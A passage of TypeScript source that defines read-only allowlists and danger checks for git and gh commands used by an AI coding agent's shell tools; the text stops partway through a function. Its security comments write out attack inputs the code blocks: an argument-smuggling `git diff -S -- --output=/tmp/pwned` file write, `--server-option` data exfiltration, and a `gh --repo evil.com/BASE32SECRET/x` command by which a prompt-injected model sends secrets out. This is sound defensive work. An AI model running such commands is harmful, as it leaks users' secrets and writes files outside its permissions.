1894 lines
67 KiB
TypeScript
1894 lines
67 KiB
TypeScript
/**
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* Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.).
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*
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* Exports complete command configuration maps that any shell tool can import:
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* - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks
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* - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent)
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* - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell
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* - containsVulnerableUncPath: UNC path detection for credential leak prevention
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* - outputLimits are in outputLimits.ts
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*/
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import { getPlatform } from '../platform.js'
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// ---------------------------------------------------------------------------
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// Types
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// ---------------------------------------------------------------------------
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export type FlagArgType =
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| 'none' // No argument (--color, -n)
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| 'number' // Integer argument (--context=3)
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| 'string' // Any string argument (--relative=path)
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| 'char' // Single character (delimiter)
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| '{}' // Literal "{}" only
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| 'EOF' // Literal "EOF" only
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export type ExternalCommandConfig = {
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safeFlags: Record<string, FlagArgType>
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// Returns true if the command is dangerous, false if safe.
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// args is the list of tokens AFTER the command name (e.g., after "git branch").
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additionalCommandIsDangerousCallback?: (
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rawCommand: string,
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args: string[],
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) => boolean
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// When false, the tool does NOT respect POSIX `--` end-of-options.
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// validateFlags will continue checking flags after `--` instead of breaking.
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// Default: true (most tools respect `--`).
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respectsDoubleDash?: boolean
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}
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// ---------------------------------------------------------------------------
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// Shared git flag groups
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// ---------------------------------------------------------------------------
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const GIT_REF_SELECTION_FLAGS: Record<string, FlagArgType> = {
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'--all': 'none',
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'--branches': 'none',
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'--tags': 'none',
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'--remotes': 'none',
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}
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const GIT_DATE_FILTER_FLAGS: Record<string, FlagArgType> = {
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'--since': 'string',
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'--after': 'string',
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'--until': 'string',
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'--before': 'string',
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}
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const GIT_LOG_DISPLAY_FLAGS: Record<string, FlagArgType> = {
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'--oneline': 'none',
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'--graph': 'none',
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'--decorate': 'none',
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'--no-decorate': 'none',
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'--date': 'string',
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'--relative-date': 'none',
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}
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const GIT_COUNT_FLAGS: Record<string, FlagArgType> = {
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'--max-count': 'number',
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'-n': 'number',
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}
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// Stat output flags - used in git log, show, diff
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const GIT_STAT_FLAGS: Record<string, FlagArgType> = {
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'--stat': 'none',
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'--numstat': 'none',
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'--shortstat': 'none',
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'--name-only': 'none',
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'--name-status': 'none',
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}
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// Color output flags - used in git log, show, diff
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const GIT_COLOR_FLAGS: Record<string, FlagArgType> = {
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'--color': 'none',
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'--no-color': 'none',
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}
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// Patch display flags - used in git log, show
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const GIT_PATCH_FLAGS: Record<string, FlagArgType> = {
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'--patch': 'none',
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'-p': 'none',
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'--no-patch': 'none',
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'--no-ext-diff': 'none',
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'-s': 'none',
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}
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// Author/committer filter flags - used in git log, reflog
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const GIT_AUTHOR_FILTER_FLAGS: Record<string, FlagArgType> = {
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'--author': 'string',
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'--committer': 'string',
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'--grep': 'string',
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}
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// ---------------------------------------------------------------------------
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// GIT_READ_ONLY_COMMANDS — complete map of all git subcommands
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// ---------------------------------------------------------------------------
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export const GIT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
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'git diff': {
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safeFlags: {
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...GIT_STAT_FLAGS,
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...GIT_COLOR_FLAGS,
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// Display and comparison flags
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'--dirstat': 'none',
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'--summary': 'none',
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'--patch-with-stat': 'none',
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'--word-diff': 'none',
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'--word-diff-regex': 'string',
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'--color-words': 'none',
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'--no-renames': 'none',
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'--no-ext-diff': 'none',
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'--check': 'none',
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'--ws-error-highlight': 'string',
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'--full-index': 'none',
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'--binary': 'none',
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'--abbrev': 'number',
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'--break-rewrites': 'none',
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'--find-renames': 'none',
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'--find-copies': 'none',
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'--find-copies-harder': 'none',
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'--irreversible-delete': 'none',
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'--diff-algorithm': 'string',
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'--histogram': 'none',
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'--patience': 'none',
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'--minimal': 'none',
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'--ignore-space-at-eol': 'none',
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'--ignore-space-change': 'none',
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'--ignore-all-space': 'none',
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'--ignore-blank-lines': 'none',
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'--inter-hunk-context': 'number',
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'--function-context': 'none',
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'--exit-code': 'none',
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'--quiet': 'none',
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'--cached': 'none',
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'--staged': 'none',
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'--pickaxe-regex': 'none',
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'--pickaxe-all': 'none',
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'--no-index': 'none',
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'--relative': 'string',
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// Diff filtering
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'--diff-filter': 'string',
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// Short flags
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'-p': 'none',
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'-u': 'none',
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'-s': 'none',
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'-M': 'none',
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'-C': 'none',
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'-B': 'none',
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'-D': 'none',
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'-l': 'none',
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// SECURITY: -S/-G/-O take REQUIRED string arguments (pickaxe search,
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// pickaxe regex, orderfile). Previously 'none' caused a parser
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// differential with git: `git diff -S -- --output=/tmp/pwned` —
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// validator sees -S as no-arg → advances 1 token → breaks on `--` →
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// --output unchecked. git sees -S requires arg → consumes `--` as the
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// pickaxe string (standard getopt: required-arg options consume next
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// argv unconditionally, BEFORE the top-level `--` check) → cursor at
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// --output=... → parses as long option → ARBITRARY FILE WRITE.
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// git log config at line ~207 correctly has -S/-G as 'string'.
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'-S': 'string',
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'-G': 'string',
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'-O': 'string',
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'-R': 'none',
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},
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},
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'git log': {
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safeFlags: {
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...GIT_LOG_DISPLAY_FLAGS,
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...GIT_REF_SELECTION_FLAGS,
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...GIT_DATE_FILTER_FLAGS,
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...GIT_COUNT_FLAGS,
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...GIT_STAT_FLAGS,
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...GIT_COLOR_FLAGS,
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...GIT_PATCH_FLAGS,
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...GIT_AUTHOR_FILTER_FLAGS,
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// Additional display flags
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'--abbrev-commit': 'none',
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'--full-history': 'none',
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'--dense': 'none',
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'--sparse': 'none',
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'--simplify-merges': 'none',
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'--ancestry-path': 'none',
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'--source': 'none',
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'--first-parent': 'none',
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'--merges': 'none',
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'--no-merges': 'none',
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'--reverse': 'none',
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'--walk-reflogs': 'none',
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'--skip': 'number',
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'--max-age': 'number',
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'--min-age': 'number',
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'--no-min-parents': 'none',
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'--no-max-parents': 'none',
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'--follow': 'none',
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// Commit traversal flags
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'--no-walk': 'none',
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'--left-right': 'none',
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'--cherry-mark': 'none',
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'--cherry-pick': 'none',
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'--boundary': 'none',
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// Ordering flags
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'--topo-order': 'none',
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'--date-order': 'none',
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'--author-date-order': 'none',
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// Format control
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'--pretty': 'string',
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'--format': 'string',
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// Diff filtering
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'--diff-filter': 'string',
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// Pickaxe search (find commits that add/remove string)
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'-S': 'string',
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'-G': 'string',
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'--pickaxe-regex': 'none',
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'--pickaxe-all': 'none',
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},
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},
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'git show': {
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safeFlags: {
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...GIT_LOG_DISPLAY_FLAGS,
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...GIT_STAT_FLAGS,
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...GIT_COLOR_FLAGS,
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...GIT_PATCH_FLAGS,
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// Additional display flags
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'--abbrev-commit': 'none',
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'--word-diff': 'none',
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'--word-diff-regex': 'string',
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'--color-words': 'none',
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'--pretty': 'string',
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'--format': 'string',
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'--first-parent': 'none',
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'--raw': 'none',
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// Diff filtering
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'--diff-filter': 'string',
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// Short flags
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'-m': 'none',
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'--quiet': 'none',
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},
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},
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'git shortlog': {
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safeFlags: {
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...GIT_REF_SELECTION_FLAGS,
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...GIT_DATE_FILTER_FLAGS,
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// Summary options
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'-s': 'none',
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'--summary': 'none',
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'-n': 'none',
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'--numbered': 'none',
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'-e': 'none',
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'--email': 'none',
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'-c': 'none',
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'--committer': 'none',
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// Grouping
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'--group': 'string',
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// Formatting
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'--format': 'string',
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// Filtering
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'--no-merges': 'none',
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'--author': 'string',
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},
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},
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'git reflog': {
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safeFlags: {
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...GIT_LOG_DISPLAY_FLAGS,
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...GIT_REF_SELECTION_FLAGS,
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...GIT_DATE_FILTER_FLAGS,
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...GIT_COUNT_FLAGS,
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...GIT_AUTHOR_FILTER_FLAGS,
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},
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// SECURITY: Block `git reflog expire` (positional subcommand) — it writes
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// to .git/logs/** by expiring reflog entries. `git reflog delete` similarly
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// writes. Only `git reflog` (bare = show) and `git reflog show` are safe.
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// The positional-arg fallthrough at ~:1730 would otherwise accept `expire`
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// as a non-flag arg, and `--all` is in GIT_REF_SELECTION_FLAGS → passes.
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additionalCommandIsDangerousCallback: (
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_rawCommand: string,
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args: string[],
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) => {
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// Block known write-capable subcommands: expire, delete, exists.
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// Allow: `show`, ref names (HEAD, refs/*, branch names).
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// The subcommand (if any) is the first positional arg. Subsequent
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// positionals after `show` or after flags are ref names (safe).
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const DANGEROUS_SUBCOMMANDS = new Set(['expire', 'delete', 'exists'])
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for (const token of args) {
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if (!token || token.startsWith('-')) continue
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// First non-flag positional: check if it's a dangerous subcommand.
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// If it's `show` or a ref name like `HEAD`/`refs/...`, safe.
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if (DANGEROUS_SUBCOMMANDS.has(token)) {
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return true // Dangerous subcommand — writes to .git/logs/**
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}
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// First positional is safe (show/HEAD/ref) — subsequent are ref args
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return false
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}
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return false // No positional = bare `git reflog` = safe (shows reflog)
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},
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},
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'git stash list': {
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safeFlags: {
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...GIT_LOG_DISPLAY_FLAGS,
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...GIT_REF_SELECTION_FLAGS,
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...GIT_COUNT_FLAGS,
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},
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},
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'git ls-remote': {
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safeFlags: {
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// Branch/tag filtering flags
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'--branches': 'none',
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'-b': 'none',
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'--tags': 'none',
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'-t': 'none',
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'--heads': 'none',
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'-h': 'none',
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'--refs': 'none',
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// Output control flags
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'--quiet': 'none',
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'-q': 'none',
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'--exit-code': 'none',
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'--get-url': 'none',
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'--symref': 'none',
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// Sorting flags
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'--sort': 'string',
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// Protocol flags
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// SECURITY: --server-option and -o are INTENTIONALLY EXCLUDED. They
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// transmit an arbitrary attacker-controlled string to the remote git
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// server in the protocol v2 capability advertisement. This is a network
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// WRITE primitive (sending data to remote) on what is supposed to be a
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// read-only command. Even without command substitution (which is caught
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// elsewhere), `--server-option="sensitive-data"` exfiltrates the value
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// to whatever `origin` points to. The read-only path should never enable
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// network writes.
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},
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},
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'git status': {
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safeFlags: {
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// Output format flags
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'--short': 'none',
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'-s': 'none',
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'--branch': 'none',
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'-b': 'none',
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'--porcelain': 'none',
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'--long': 'none',
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'--verbose': 'none',
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'-v': 'none',
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// Untracked files handling
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'--untracked-files': 'string',
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'-u': 'string',
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// Ignore options
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'--ignored': 'none',
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'--ignore-submodules': 'string',
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// Column display
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'--column': 'none',
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'--no-column': 'none',
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// Ahead/behind info
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'--ahead-behind': 'none',
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'--no-ahead-behind': 'none',
|
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// Rename detection
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'--renames': 'none',
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'--no-renames': 'none',
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'--find-renames': 'string',
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'-M': 'string',
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},
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},
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'git blame': {
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safeFlags: {
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...GIT_COLOR_FLAGS,
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// Line range
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'-L': 'string',
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// Output format
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'--porcelain': 'none',
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'-p': 'none',
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'--line-porcelain': 'none',
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'--incremental': 'none',
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'--root': 'none',
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'--show-stats': 'none',
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'--show-name': 'none',
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'--show-number': 'none',
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'-n': 'none',
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'--show-email': 'none',
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'-e': 'none',
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'-f': 'none',
|
|
// Date formatting
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'--date': 'string',
|
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// Ignore whitespace
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'-w': 'none',
|
|
// Ignore revisions
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'--ignore-rev': 'string',
|
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'--ignore-revs-file': 'string',
|
|
// Move/copy detection
|
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'-M': 'none',
|
|
'-C': 'none',
|
|
'--score-debug': 'none',
|
|
// Abbreviation
|
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'--abbrev': 'number',
|
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// Other options
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'-s': 'none',
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'-l': 'none',
|
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'-t': 'none',
|
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},
|
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},
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'git ls-files': {
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safeFlags: {
|
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// File selection
|
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'--cached': 'none',
|
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'-c': 'none',
|
|
'--deleted': 'none',
|
|
'-d': 'none',
|
|
'--modified': 'none',
|
|
'-m': 'none',
|
|
'--others': 'none',
|
|
'-o': 'none',
|
|
'--ignored': 'none',
|
|
'-i': 'none',
|
|
'--stage': 'none',
|
|
'-s': 'none',
|
|
'--killed': 'none',
|
|
'-k': 'none',
|
|
'--unmerged': 'none',
|
|
'-u': 'none',
|
|
// Output format
|
|
'--directory': 'none',
|
|
'--no-empty-directory': 'none',
|
|
'--eol': 'none',
|
|
'--full-name': 'none',
|
|
'--abbrev': 'number',
|
|
'--debug': 'none',
|
|
'-z': 'none',
|
|
'-t': 'none',
|
|
'-v': 'none',
|
|
'-f': 'none',
|
|
// Exclude patterns
|
|
'--exclude': 'string',
|
|
'-x': 'string',
|
|
'--exclude-from': 'string',
|
|
'-X': 'string',
|
|
'--exclude-per-directory': 'string',
|
|
'--exclude-standard': 'none',
|
|
// Error handling
|
|
'--error-unmatch': 'none',
|
|
// Recursion
|
|
'--recurse-submodules': 'none',
|
|
},
|
|
},
|
|
'git config --get': {
|
|
safeFlags: {
|
|
// No additional flags needed - just reading config values
|
|
'--local': 'none',
|
|
'--global': 'none',
|
|
'--system': 'none',
|
|
'--worktree': 'none',
|
|
'--default': 'string',
|
|
'--type': 'string',
|
|
'--bool': 'none',
|
|
'--int': 'none',
|
|
'--bool-or-int': 'none',
|
|
'--path': 'none',
|
|
'--expiry-date': 'none',
|
|
'-z': 'none',
|
|
'--null': 'none',
|
|
'--name-only': 'none',
|
|
'--show-origin': 'none',
|
|
'--show-scope': 'none',
|
|
},
|
|
},
|
|
// NOTE: 'git remote show' must come BEFORE 'git remote' so longer patterns are matched first
|
|
'git remote show': {
|
|
safeFlags: {
|
|
'-n': 'none',
|
|
},
|
|
// Only allow optional -n, then one alphanumeric remote name
|
|
additionalCommandIsDangerousCallback: (
|
|
_rawCommand: string,
|
|
args: string[],
|
|
) => {
|
|
// Filter out the known safe flag
|
|
const positional = args.filter(a => a !== '-n')
|
|
// Must have exactly one positional arg that looks like a remote name
|
|
if (positional.length !== 1) return true
|
|
return !/^[a-zA-Z0-9_-]+$/.test(positional[0]!)
|
|
},
|
|
},
|
|
'git remote': {
|
|
safeFlags: {
|
|
'-v': 'none',
|
|
'--verbose': 'none',
|
|
},
|
|
// Only allow bare 'git remote' or 'git remote -v/--verbose'
|
|
additionalCommandIsDangerousCallback: (
|
|
_rawCommand: string,
|
|
args: string[],
|
|
) => {
|
|
// All args must be known safe flags; no positional args allowed
|
|
return args.some(a => a !== '-v' && a !== '--verbose')
|
|
},
|
|
},
|
|
// git merge-base is a read-only command for finding common ancestors
|
|
'git merge-base': {
|
|
safeFlags: {
|
|
'--is-ancestor': 'none', // Check if first commit is ancestor of second
|
|
'--fork-point': 'none', // Find fork point
|
|
'--octopus': 'none', // Find best common ancestors for multiple refs
|
|
'--independent': 'none', // Filter independent refs
|
|
'--all': 'none', // Output all merge bases
|
|
},
|
|
},
|
|
// git rev-parse is a pure read command — resolves refs to SHAs, queries repo paths
|
|
'git rev-parse': {
|
|
safeFlags: {
|
|
// SHA resolution and verification
|
|
'--verify': 'none', // Verify that exactly one argument is a valid object name
|
|
'--short': 'string', // Abbreviate output (optional length via =N)
|
|
'--abbrev-ref': 'none', // Symbolic name of ref
|
|
'--symbolic': 'none', // Output symbolic names
|
|
'--symbolic-full-name': 'none', // Full symbolic name including refs/heads/ prefix
|
|
// Repository path queries (all read-only)
|
|
'--show-toplevel': 'none', // Absolute path of top-level directory
|
|
'--show-cdup': 'none', // Path components to traverse up to top-level
|
|
'--show-prefix': 'none', // Relative path from top-level to cwd
|
|
'--git-dir': 'none', // Path to .git directory
|
|
'--git-common-dir': 'none', // Path to common directory (.git in main worktree)
|
|
'--absolute-git-dir': 'none', // Absolute path to .git directory
|
|
'--show-superproject-working-tree': 'none', // Superproject root (if submodule)
|
|
// Boolean queries
|
|
'--is-inside-work-tree': 'none',
|
|
'--is-inside-git-dir': 'none',
|
|
'--is-bare-repository': 'none',
|
|
'--is-shallow-repository': 'none',
|
|
'--is-shallow-update': 'none',
|
|
'--path-prefix': 'none',
|
|
},
|
|
},
|
|
// git rev-list is read-only commit enumeration — lists/counts commits reachable from refs
|
|
'git rev-list': {
|
|
safeFlags: {
|
|
...GIT_REF_SELECTION_FLAGS,
|
|
...GIT_DATE_FILTER_FLAGS,
|
|
...GIT_COUNT_FLAGS,
|
|
...GIT_AUTHOR_FILTER_FLAGS,
|
|
// Counting
|
|
'--count': 'none', // Output commit count instead of listing
|
|
// Traversal control
|
|
'--reverse': 'none',
|
|
'--first-parent': 'none',
|
|
'--ancestry-path': 'none',
|
|
'--merges': 'none',
|
|
'--no-merges': 'none',
|
|
'--min-parents': 'number',
|
|
'--max-parents': 'number',
|
|
'--no-min-parents': 'none',
|
|
'--no-max-parents': 'none',
|
|
'--skip': 'number',
|
|
'--max-age': 'number',
|
|
'--min-age': 'number',
|
|
'--walk-reflogs': 'none',
|
|
// Output formatting
|
|
'--oneline': 'none',
|
|
'--abbrev-commit': 'none',
|
|
'--pretty': 'string',
|
|
'--format': 'string',
|
|
'--abbrev': 'number',
|
|
'--full-history': 'none',
|
|
'--dense': 'none',
|
|
'--sparse': 'none',
|
|
'--source': 'none',
|
|
'--graph': 'none',
|
|
},
|
|
},
|
|
// git describe is read-only — describes commits relative to the most recent tag
|
|
'git describe': {
|
|
safeFlags: {
|
|
// Tag selection
|
|
'--tags': 'none', // Consider all tags, not just annotated
|
|
'--match': 'string', // Only consider tags matching the glob pattern
|
|
'--exclude': 'string', // Do not consider tags matching the glob pattern
|
|
// Output control
|
|
'--long': 'none', // Always output long format (tag-distance-ghash)
|
|
'--abbrev': 'number', // Abbreviate objectname to N hex digits
|
|
'--always': 'none', // Show uniquely abbreviated object as fallback
|
|
'--contains': 'none', // Find tag that comes after the commit
|
|
'--first-match': 'none', // Prefer tags closest to the tip (stops after first match)
|
|
'--exact-match': 'none', // Only output if an exact match (tag points at commit)
|
|
'--candidates': 'number', // Limit walk before selecting best candidates
|
|
// Suffix/dirty markers
|
|
'--dirty': 'none', // Append "-dirty" if working tree has modifications
|
|
'--broken': 'none', // Append "-broken" if repository is in invalid state
|
|
},
|
|
},
|
|
// git cat-file is read-only object inspection — displays type, size, or content of objects
|
|
// NOTE: --batch (without --check) is intentionally excluded — it reads arbitrary objects
|
|
// from stdin which could be exploited in piped commands to dump sensitive objects.
|
|
'git cat-file': {
|
|
safeFlags: {
|
|
// Object query modes (all purely read-only)
|
|
'-t': 'none', // Print type of object
|
|
'-s': 'none', // Print size of object
|
|
'-p': 'none', // Pretty-print object contents
|
|
'-e': 'none', // Exit with zero if object exists, non-zero otherwise
|
|
// Batch mode — read-only check variant only
|
|
'--batch-check': 'none', // For each object on stdin, print type and size (no content)
|
|
// Output control
|
|
'--allow-undetermined-type': 'none',
|
|
},
|
|
},
|
|
// git for-each-ref is read-only ref iteration — lists refs with optional formatting and filtering
|
|
'git for-each-ref': {
|
|
safeFlags: {
|
|
// Output formatting
|
|
'--format': 'string', // Format string using %(fieldname) placeholders
|
|
// Sorting
|
|
'--sort': 'string', // Sort by key (e.g., refname, creatordate, version:refname)
|
|
// Limiting
|
|
'--count': 'number', // Limit output to at most N refs
|
|
// Filtering
|
|
'--contains': 'string', // Only list refs that contain specified commit
|
|
'--no-contains': 'string', // Only list refs that do NOT contain specified commit
|
|
'--merged': 'string', // Only list refs reachable from specified commit
|
|
'--no-merged': 'string', // Only list refs NOT reachable from specified commit
|
|
'--points-at': 'string', // Only list refs pointing at specified object
|
|
},
|
|
},
|
|
// git grep is read-only — searches tracked files for patterns
|
|
'git grep': {
|
|
safeFlags: {
|
|
// Pattern matching modes
|
|
'-e': 'string', // Pattern
|
|
'-E': 'none', // Extended regexp
|
|
'--extended-regexp': 'none',
|
|
'-G': 'none', // Basic regexp (default)
|
|
'--basic-regexp': 'none',
|
|
'-F': 'none', // Fixed strings
|
|
'--fixed-strings': 'none',
|
|
'-P': 'none', // Perl regexp
|
|
'--perl-regexp': 'none',
|
|
// Match control
|
|
'-i': 'none', // Ignore case
|
|
'--ignore-case': 'none',
|
|
'-v': 'none', // Invert match
|
|
'--invert-match': 'none',
|
|
'-w': 'none', // Word regexp
|
|
'--word-regexp': 'none',
|
|
// Output control
|
|
'-n': 'none', // Line number
|
|
'--line-number': 'none',
|
|
'-c': 'none', // Count
|
|
'--count': 'none',
|
|
'-l': 'none', // Files with matches
|
|
'--files-with-matches': 'none',
|
|
'-L': 'none', // Files without match
|
|
'--files-without-match': 'none',
|
|
'-h': 'none', // No filename
|
|
'-H': 'none', // With filename
|
|
'--heading': 'none',
|
|
'--break': 'none',
|
|
'--full-name': 'none',
|
|
'--color': 'none',
|
|
'--no-color': 'none',
|
|
'-o': 'none', // Only matching
|
|
'--only-matching': 'none',
|
|
// Context
|
|
'-A': 'number', // After context
|
|
'--after-context': 'number',
|
|
'-B': 'number', // Before context
|
|
'--before-context': 'number',
|
|
'-C': 'number', // Context
|
|
'--context': 'number',
|
|
// Boolean operators for multi-pattern
|
|
'--and': 'none',
|
|
'--or': 'none',
|
|
'--not': 'none',
|
|
// Scope control
|
|
'--max-depth': 'number',
|
|
'--untracked': 'none',
|
|
'--no-index': 'none',
|
|
'--recurse-submodules': 'none',
|
|
'--cached': 'none',
|
|
// Threads
|
|
'--threads': 'number',
|
|
// Quiet
|
|
'-q': 'none',
|
|
'--quiet': 'none',
|
|
},
|
|
},
|
|
// git stash show is read-only — displays diff of a stash entry
|
|
'git stash show': {
|
|
safeFlags: {
|
|
...GIT_STAT_FLAGS,
|
|
...GIT_COLOR_FLAGS,
|
|
...GIT_PATCH_FLAGS,
|
|
// Diff options
|
|
'--word-diff': 'none',
|
|
'--word-diff-regex': 'string',
|
|
'--diff-filter': 'string',
|
|
'--abbrev': 'number',
|
|
},
|
|
},
|
|
// git worktree list is read-only — lists linked working trees
|
|
'git worktree list': {
|
|
safeFlags: {
|
|
'--porcelain': 'none',
|
|
'-v': 'none',
|
|
'--verbose': 'none',
|
|
'--expire': 'string',
|
|
},
|
|
},
|
|
'git tag': {
|
|
safeFlags: {
|
|
// List mode flags
|
|
'-l': 'none',
|
|
'--list': 'none',
|
|
'-n': 'number',
|
|
'--contains': 'string',
|
|
'--no-contains': 'string',
|
|
'--merged': 'string',
|
|
'--no-merged': 'string',
|
|
'--sort': 'string',
|
|
'--format': 'string',
|
|
'--points-at': 'string',
|
|
'--column': 'none',
|
|
'--no-column': 'none',
|
|
'-i': 'none',
|
|
'--ignore-case': 'none',
|
|
},
|
|
// SECURITY: Block tag creation via positional arguments. `git tag foo`
|
|
// creates .git/refs/tags/foo (41-byte file write) — NOT read-only.
|
|
// This is identical semantics to `git branch foo` (which has the same
|
|
// callback below). Without this callback, validateFlags's default
|
|
// positional-arg fallthrough at ~:1730 accepts `mytag` as a non-flag arg,
|
|
// and git tag auto-approves. While the write is constrained (path limited
|
|
// to .git/refs/tags/, content is fixed HEAD SHA), it violates the
|
|
// read-only invariant and can pollute CI/CD tag-pattern matching or make
|
|
// abandoned commits reachable via `git tag foo <commit>`.
|
|
additionalCommandIsDangerousCallback: (
|
|
_rawCommand: string,
|
|
args: string[],
|
|
) => {
|
|
// Safe uses: `git tag` (list), `git tag -l pattern` (list filtered),
|
|
// `git tag --contains <ref>` (list containing). A bare positional arg
|
|
// without -l/--list is a tag name to CREATE — dangerous.
|
|
const flagsWithArgs = new Set([
|
|
'--contains',
|
|
'--no-contains',
|
|
'--merged',
|
|
'--no-merged',
|
|
'--points-at',
|
|
'--sort',
|
|
'--format',
|
|
'-n',
|
|
])
|
|
let i = 0
|
|
let seenListFlag = false
|
|
let seenDashDash = false
|
|
while (i < args.length) {
|
|
const token = args[i]
|
|
if (!token) {
|
|
i++
|
|
continue
|
|
}
|
|
// `--` ends flag parsing. All subsequent tokens are positional args,
|
|
// even if they start with `-`. `git tag -- -l` CREATES a tag named `-l`.
|
|
if (token === '--' && !seenDashDash) {
|
|
seenDashDash = true
|
|
i++
|
|
continue
|
|
}
|
|
if (!seenDashDash && token.startsWith('-')) {
|
|
// Check for -l/--list (exact or in a bundle). `-li` bundles -l and
|
|
// -i — both 'none' type. Array.includes('-l') exact-matches, missing
|
|
// bundles like `-li`, `-il`. Check individual chars for short bundles.
|
|
if (token === '--list' || token === '-l') {
|
|
seenListFlag = true
|
|
} else if (
|
|
token[0] === '-' &&
|
|
token[1] !== '-' &&
|
|
token.length > 2 &&
|
|
!token.includes('=') &&
|
|
token.slice(1).includes('l')
|
|
) {
|
|
// Short-flag bundle like -li, -il containing 'l'
|
|
seenListFlag = true
|
|
}
|
|
if (token.includes('=')) {
|
|
i++
|
|
} else if (flagsWithArgs.has(token)) {
|
|
i += 2
|
|
} else {
|
|
i++
|
|
}
|
|
} else {
|
|
// Non-flag positional arg (or post-`--` positional). Safe only if
|
|
// preceded by -l/--list (then it's a pattern, not a tag name).
|
|
if (!seenListFlag) {
|
|
return true // Positional arg without --list = tag creation
|
|
}
|
|
i++
|
|
}
|
|
}
|
|
return false
|
|
},
|
|
},
|
|
'git branch': {
|
|
safeFlags: {
|
|
// List mode flags
|
|
'-l': 'none',
|
|
'--list': 'none',
|
|
'-a': 'none',
|
|
'--all': 'none',
|
|
'-r': 'none',
|
|
'--remotes': 'none',
|
|
'-v': 'none',
|
|
'-vv': 'none',
|
|
'--verbose': 'none',
|
|
// Display options
|
|
'--color': 'none',
|
|
'--no-color': 'none',
|
|
'--column': 'none',
|
|
'--no-column': 'none',
|
|
// SECURITY: --abbrev stays 'number' so validateFlags accepts --abbrev=N
|
|
// (attached form, safe). The DETACHED form `--abbrev N` is the bug:
|
|
// git uses PARSE_OPT_OPTARG (optional-attached only) — detached N becomes
|
|
// a POSITIONAL branch name, creating .git/refs/heads/N. validateFlags
|
|
// with 'number' consumes N, but the CALLBACK below catches it: --abbrev
|
|
// is NOT in callback's flagsWithArgs (removed), so callback sees N as a
|
|
// positional without list flag → dangerous. Two-layer defense: validate-
|
|
// Flags accepts both forms, callback blocks detached.
|
|
'--abbrev': 'number',
|
|
'--no-abbrev': 'none',
|
|
// Filtering - these take commit/ref arguments
|
|
'--contains': 'string',
|
|
'--no-contains': 'string',
|
|
'--merged': 'none', // Optional commit argument - handled in callback
|
|
'--no-merged': 'none', // Optional commit argument - handled in callback
|
|
'--points-at': 'string',
|
|
// Sorting
|
|
'--sort': 'string',
|
|
// Note: --format is intentionally excluded as it could pose security risks
|
|
// Show current
|
|
'--show-current': 'none',
|
|
'-i': 'none',
|
|
'--ignore-case': 'none',
|
|
},
|
|
// Block branch creation via positional arguments (e.g., "git branch newbranch")
|
|
// Flag validation is handled by safeFlags above
|
|
// args is tokens after "git branch"
|
|
additionalCommandIsDangerousCallback: (
|
|
_rawCommand: string,
|
|
args: string[],
|
|
) => {
|
|
// Block branch creation: "git branch <name>" or "git branch <name> <start-point>"
|
|
// Only safe uses are: "git branch" (list), "git branch -flags" (list with options),
|
|
// or "git branch --contains/--merged/etc <ref>" (filtering)
|
|
// Flags that require an argument
|
|
const flagsWithArgs = new Set([
|
|
'--contains',
|
|
'--no-contains',
|
|
'--points-at',
|
|
'--sort',
|
|
// --abbrev REMOVED: git does NOT consume detached arg (PARSE_OPT_OPTARG)
|
|
])
|
|
// Flags with optional arguments (don't require, but can take one)
|
|
const flagsWithOptionalArgs = new Set(['--merged', '--no-merged'])
|
|
let i = 0
|
|
let lastFlag = ''
|
|
let seenListFlag = false
|
|
let seenDashDash = false
|
|
while (i < args.length) {
|
|
const token = args[i]
|
|
if (!token) {
|
|
i++
|
|
continue
|
|
}
|
|
// `--` ends flag parsing. `git branch -- -l` CREATES a branch named `-l`.
|
|
if (token === '--' && !seenDashDash) {
|
|
seenDashDash = true
|
|
lastFlag = ''
|
|
i++
|
|
continue
|
|
}
|
|
if (!seenDashDash && token.startsWith('-')) {
|
|
// Check for -l/--list including short-flag bundles (-li, -la, etc.)
|
|
if (token === '--list' || token === '-l') {
|
|
seenListFlag = true
|
|
} else if (
|
|
token[0] === '-' &&
|
|
token[1] !== '-' &&
|
|
token.length > 2 &&
|
|
!token.includes('=') &&
|
|
token.slice(1).includes('l')
|
|
) {
|
|
seenListFlag = true
|
|
}
|
|
if (token.includes('=')) {
|
|
lastFlag = token.split('=')[0] || ''
|
|
i++
|
|
} else if (flagsWithArgs.has(token)) {
|
|
lastFlag = token
|
|
i += 2
|
|
} else {
|
|
lastFlag = token
|
|
i++
|
|
}
|
|
} else {
|
|
// Non-flag argument (or post-`--` positional) - could be:
|
|
// 1. A branch name (dangerous - creates a branch)
|
|
// 2. A pattern after --list/-l (safe)
|
|
// 3. An optional argument after --merged/--no-merged (safe)
|
|
const lastFlagHasOptionalArg = flagsWithOptionalArgs.has(lastFlag)
|
|
if (!seenListFlag && !lastFlagHasOptionalArg) {
|
|
return true // Positional arg without --list or filtering flag = branch creation
|
|
}
|
|
i++
|
|
}
|
|
}
|
|
return false
|
|
},
|
|
},
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// GH_READ_ONLY_COMMANDS — ant-only gh CLI commands (network-dependent)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
// SECURITY: Shared callback for all gh commands to prevent network exfil.
|
|
// gh's repo argument accepts `[HOST/]OWNER/REPO` — when HOST is present
|
|
// (3 segments), gh connects to that host's API. A prompt-injected model can
|
|
// encode secrets as the OWNER segment and exfiltrate via DNS/HTTP:
|
|
// gh pr view 1 --repo evil.com/BASE32SECRET/x
|
|
// → GET https://evil.com/api/v3/repos/BASE32SECRET/x/pulls/1
|
|
// gh also accepts positional URLs: `gh pr view https://evil.com/owner/repo/pull/1`
|
|
//
|
|
// git ls-remote has an inline URL guard (readOnlyValidation.ts:~944); this
|
|
// callback provides the equivalent for gh. Rejects:
|
|
// - Any token with 2+ slashes (HOST/OWNER/REPO format — normal is OWNER/REPO)
|
|
// - Any token with `://` (URL)
|
|
// - Any token with `@` (SSH-style)
|
|
// This covers BOTH --repo values AND positional URL/repo arguments, INCLUDING
|
|
// the equals-attached form `--repo=HOST/OWNER/REPO` (cobra accepts both forms).
|
|
function ghIsDangerousCallback(_rawCommand: string, args: string[]): boolean {
|
|
for (const token of args) {
|
|
if (!token) continue
|
|
// For flag tokens, extract the VALUE after `=` for inspection. Without this,
|
|
// `--repo=evil.com/SECRET/x` (single token starting with `-`) gets skipped
|
|
// entirely, bypassing the HOST check. Cobra treats `--flag=val` identically
|
|
